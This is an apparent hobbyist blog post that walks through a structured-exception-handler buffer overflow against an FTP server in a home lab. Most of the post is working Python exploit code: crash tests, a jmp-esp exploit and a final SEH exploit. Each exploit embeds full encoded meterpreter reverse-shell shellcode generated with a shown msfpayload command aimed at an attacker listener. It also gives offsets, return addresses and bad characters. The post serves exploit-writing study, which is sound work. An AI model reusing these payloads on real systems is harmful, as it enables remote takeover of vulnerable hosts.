Simple Buffer Overflow bypassing SEH

Here recently, I have gotten more interested in exploit writing, and the entire process of it. Being that I am noob to this, I obviously started my quest by looking for tutorials. Unfortunately I wasn’t able to find the “Explain like I’m 5” tutorial that I needed, and the entire process took me much longer than anticipated. Now that I finally got it figured out, I wanted to share with the world! 😀

So first order of business, the target. A few minutes of Google searching led me to this exploit on the exploit-db: http://www.exploit-db.com/exploits/3482/ It had all of the right ingredients for me to learn with: written in a language I don’t know very well, so I would need to start at least partially from scratch, a link to the vulnerable app, and the code wasn’t for a machine that I had access to… PERFECT!

So I downloaded the app on my XP sp1 VM, installed it, and wrote my little proof of concept code in python to see if I could get a crash.


#!/usr/bin/env python

import socket

payload = “A” * 485 + “B” * 4 + “C” * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((‘10.0.0.36’,21))

s.recv(1024)
s.send(‘User ‘ + payload + ‘\r\n’)
s.recv(1024)

This resulted in a crash, and further investigation showed that I even had the offset right! Woohoo less work to be done.

EIP_poc

So, at this point, it was pretty much a vanilla exploit which I won’t go into in this post. Needless to say, it actually would work as you might think, a few steps later, using the vanilla method, I had a meterpreter shell (one exception to this, explained below). But that wasn’t what I was looking for. In case you are interested, here is the code for the vanilla exploit.


#!/usr/bin/env python

import socket

shell = (“\xdb\xcf\xbf\xbc\x55\x0f\xc5\xd9\x74\x24\xf4\x5a\x31\xc9” +
“\xb1\x48\x31\x7a\x1a\x03\x7a\x1a\x83\xea\xfc\xe2\x49\xa9” +
“\xe7\x43\xb1\x52\xf8\x2b\x38\xb7\xc9\x79\x5e\xb3\x78\x4e” +
“\x15\x91\x70\x25\x7b\x02\x02\x4b\x53\x25\xa3\xe6\x85\x08” +
“\x34\xc7\x09\xc6\xf6\x49\xf5\x15\x2b\xaa\xc4\xd5\x3e\xab” +
“\x01\x0b\xb0\xf9\xda\x47\x63\xee\x6f\x15\xb8\x85\x23\x8a” +
“\xb8\x7a\xf1\xab\xe9\x2c\x8e\xf5\x29\xce\x43\x8e\x63\xc8” +
“\x80\xad\x3a\x63\x72\x45\xbd\xa5\x4b\xa6\x8f\x89\x07\x99” +
“\x3f\x04\x56\xdd\xf8\xf7\x2d\x15\xfb\x8a\x35\xee\x81\x50” +
“\xb0\xf3\x22\x12\x62\xd0\xd3\xf7\xf4\x93\xd8\xbc\x73\xfb” +
“\xfc\x43\x50\x77\xf8\xc8\x57\x58\x88\x8b\x73\x7c\xd0\x48” +
“\x1a\x25\xbc\x3f\x23\x35\x18\x9f\x81\x3d\x8b\xf4\xbc\x1f” +
“\xc4\x39\x8c\x9f\x14\x56\x87\xec\x26\xf9\x33\x7b\x0b\x72” +
“\x9d\x7c\x6c\xa9\x59\x12\x93\x52\x99\x3a\x50\x06\xc9\x54” +
“\x71\x27\x82\xa4\x7e\xf2\x04\xf5\xd0\xad\xe4\xa5\x90\x1d” +
“\x8c\xaf\x1e\x41\xac\xcf\xf4\xea\x46\x35\x9f\x1e\x96\x35” +
“\x53\x77\x94\x35\x7a\xdb\x11\xd3\x16\xf3\x77\x4b\x8f\x6a” +
“\xd2\x07\x2e\x72\xc9\x6d\x70\xf8\xfd\x92\x3f\x09\x88\x80” +
“\xa8\xf9\xc7\xfb\x7f\x05\xf2\x96\x7f\x93\xf8\x30\xd7\x0b” +
“\x02\x64\x1f\x94\xfd\x43\x2b\x1d\x6b\x2c\x44\x62\x7b\xac” +
“\x94\x34\x11\xac\xfc\xe0\x41\xff\x19\xef\x5c\x93\xb1\x7a” +
“\x5e\xc2\x66\x2c\x36\xe8\x51\x1a\x99\x13\xb4\x9a\xe6\xc5” +
“\xf1\x18\x1e\x60\x12\xe1”)

#773D10A4 – jmp esp in shell32.dll

payload = “A” * 485 + “\xA4\x10\x3D\x77” + “\x90” * 10 + shell

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((‘10.0.0.36’,21))

s.recv(1024)
s.send(‘User ‘ + payload + ‘\r\n’)
s.recv(1024)

Here is the part that interested me. Seeing that this program actually had a Structured Exception Handler module that was being over written showed that the same concepts of over writing that handler should apply.

SEH_record

So, now the real learning begins. Ya see, when dealing with SEH handlers, windows essentially makes it to where if a program crashes, it sends in the handler to catch it. Although that sounds simple enough, being that Im not a developer by trade, it took me a while to get what that meant. After it finally clicked that it was just a more robust method of the try: except: in python programming (hey, Im slow, I can’t help it :-P) it started to make sense. What I needed to do was control the except function, just like I would normally control EIP in a vanilla over flow.

Step one in this process is very similar to a vanilla exploit, except (at least in this scenario, as this was my first attempt, so Im not sure if this is how it ALWAYS goes) for me to get this working, I had to find the offset for the SEH record and SE handler. Same basic process, using pattern_create and pattern_offset inside of Kali got me the information that I was needing.

seh_off


root@kali:~/Desktop/warftp# ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 9At0
[*] Exact match at offset 569
root@kali:~/Desktop/warftp# ruby /usr/share/metasploit-framework/tools/pattern_offset.rb At1A
[*] Exact match at offset 573

So now, it was altering the original poc.py code to see if my offsets were right.


#!/usr/bin/env python

import socket

payload = “A” * 569 + “B” * 4 + “C” * 4 + “D” * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((‘10.0.0.36’,21))

s.recv(1024)
s.send(‘User ‘ + payload + ‘\r\n’)
s.recv(1024)

Sure enough, I was spot on, and ready to continue.

seh_off_bc

Now comes the part that was really throwing me for a loop on trying to comprehend. To fully understand whats going on, you need to have a better understanding of how the stack actually works.

Essentially this is how the stack looks during a normal program crash.

|Local Variable|
|Next ERR| # pointer to structured exception handler or SEH
|Exception Handler| # This is the actual code that executes during a crash
|stuff|
|stuff|
|stuff|

Obviously Im just putting in the items that are important for this demo, as I am still learning assembly and stack registers myself, and I don’t want to risk giving wrong information out.

So, from the snippet above, you can see that the Next ERR and the Exception handler are 8 bytes of space on the stack. Our goal here, is to jump 8 bytes into the stack, skipping seh, and into our nop sled which leads into shell code. The trick to this method, is that we need to put ESP on top of the stack, so that it executes the shell code instead of the exception handler. This is achieved by finding a “pop pop ret” sequence in memory, which pops the top pointers off of the stack, moving ESP up 2 places, and then executes the code. So in order to do this, we first must jump. The code for this is:

\xEB\x06\x90\x90

What this code is saying, is to jump 6 bytes, which I know we need 8, but 2 of those are used by the jump instruction itself. From there, we pop pop ret the stack, moving ESP to the top, which then executes the shell code, as the exception handler says to execute the next instructions (which would normally be the handler itself) but in this case, is our shell code. When finding a pop pop ret, it doesn’t really matter what registers are being popped off of the stack, as the instruction is the only part that matters. To get this instruction sequence in immunity, you open the window for command sequence and enter:

pop r32
pop r32
retn

The next step in this, is to find a pop pop ret sequence. The main caveate to this, is that the .dll in question must not have SAFEseh enabled. SAFEseh was implemented by Microsoft as a method of avoiding this. It essentially blacklists anything that isn’t in the seh record and prevents it from executing. But if the .dll was compiled without SAFEseh enabled, we are free to use the memory addresses located within it. Luckily in this example, I am using XP sp1, which did not have SAFEseh enabled, meaning I can pick any .dll that I want. Just keep in mind, that in order for this to work, the .dll must not have SAFEseh enabled or your exploit will fail.

pop_pop_ret

Now this is another part that had me hung up, because I made a noob mistake (this goes to the issue I referred to above at the beginning of the post). I forgot to verify the bad characters within the program, and it was giving me issues. I actually found this later, because I got lucky in the sense that the address I was using did not contain any bad characters, but I wanted to include this part of the story here, as it can cause a lot of pain.

When I originally got to the point of inputting shell code, nothing worked. I had omitted the normal bad characters (\x00\x0a\x0d\x20) but I did not verify that anything else was bad, and was about an hours worth of work trying to figure it out. In this instance, the character “\x40” was also a bad characters, and would cause nothing to work at all. The program just took the payload like nothing happened and wouldn’t even crash. After talking with the guys in #overflowsec on IRC and bouncing some ideas around, Blawrg recommended that I try bad characters again to ensure I wasn’t missing one. When I sent the bad character list, the same thing happened! This resulted in sending in bad characters in 10 byte blocks until I narrowed down which one was the culprit. Although it sounds horrendous, it actually only took around 10 minutes before it was discovered, and fixed my issue. So big shout out to Blawrg, thank ya buddy 🙂

Now back to our original program.

Now that I had a pop pop ret address, I altered my poc code to ensure that it was being hit by the SEH record. Once verified, it was just a matter of generating some shell code, ensuring that there were no bad characters, setting up a listener, and getting my shell 🙂

pop_verify

Here is the final code that was used to gain the shell.


#!/usr/bin/env python

import socket

#msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.12 LPORT=4444 R |msfencode -b ‘\x00\x0d\x0a\x20\x40’-e x86/shikata_ga_nai
shell = (“\xdb\xcf\xbf\xbc\x55\x0f\xc5\xd9\x74\x24\xf4\x5a\x31\xc9” +
“\xb1\x48\x31\x7a\x1a\x03\x7a\x1a\x83\xea\xfc\xe2\x49\xa9” +
“\xe7\x43\xb1\x52\xf8\x2b\x38\xb7\xc9\x79\x5e\xb3\x78\x4e” +
“\x15\x91\x70\x25\x7b\x02\x02\x4b\x53\x25\xa3\xe6\x85\x08” +
“\x34\xc7\x09\xc6\xf6\x49\xf5\x15\x2b\xaa\xc4\xd5\x3e\xab” +
“\x01\x0b\xb0\xf9\xda\x47\x63\xee\x6f\x15\xb8\x85\x23\x8a” +
“\xb8\x7a\xf1\xab\xe9\x2c\x8e\xf5\x29\xce\x43\x8e\x63\xc8” +
“\x80\xad\x3a\x63\x72\x45\xbd\xa5\x4b\xa6\x8f\x89\x07\x99” +
“\x3f\x04\x56\xdd\xf8\xf7\x2d\x15\xfb\x8a\x35\xee\x81\x50” +
“\xb0\xf3\x22\x12\x62\xd0\xd3\xf7\xf4\x93\xd8\xbc\x73\xfb” +
“\xfc\x43\x50\x77\xf8\xc8\x57\x58\x88\x8b\x73\x7c\xd0\x48” +
“\x1a\x25\xbc\x3f\x23\x35\x18\x9f\x81\x3d\x8b\xf4\xbc\x1f” +
“\xc4\x39\x8c\x9f\x14\x56\x87\xec\x26\xf9\x33\x7b\x0b\x72” +
“\x9d\x7c\x6c\xa9\x59\x12\x93\x52\x99\x3a\x50\x06\xc9\x54” +
“\x71\x27\x82\xa4\x7e\xf2\x04\xf5\xd0\xad\xe4\xa5\x90\x1d” +
“\x8c\xaf\x1e\x41\xac\xcf\xf4\xea\x46\x35\x9f\x1e\x96\x35” +
“\x53\x77\x94\x35\x7a\xdb\x11\xd3\x16\xf3\x77\x4b\x8f\x6a” +
“\xd2\x07\x2e\x72\xc9\x6d\x70\xf8\xfd\x92\x3f\x09\x88\x80” +
“\xa8\xf9\xc7\xfb\x7f\x05\xf2\x96\x7f\x93\xf8\x30\xd7\x0b” +
“\x02\x64\x1f\x94\xfd\x43\x2b\x1d\x6b\x2c\x44\x62\x7b\xac” +
“\x94\x34\x11\xac\xfc\xe0\x41\xff\x19\xef\x5c\x93\xb1\x7a” +
“\x5e\xc2\x66\x2c\x36\xe8\x51\x1a\x99\x13\xb4\x9a\xe6\xc5” +
“\xf1\x18\x1e\x60\x12\xe1”)

payload = “A” * 569 + “\xEB\x06\x90\x90” + “\xA0\xB3\x3F\x77” + “\x90” * 10 + shell

#0x773FB3A0 – pop pop ret in shell32.dll

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((‘10.0.0.36’,21))

s.recv(1024)
s.send(‘User ‘ + payload + ‘\r\n’)
s.recv(1024)

meterpreter

-Maleus

8 thoughts on “Simple Buffer Overflow bypassing SEH

Leave a Reply

Your email address will not be published. Required fields are marked *

The opinions and thoughts on this blog are those of Overflow Security members, and do not reflect those of our members employers.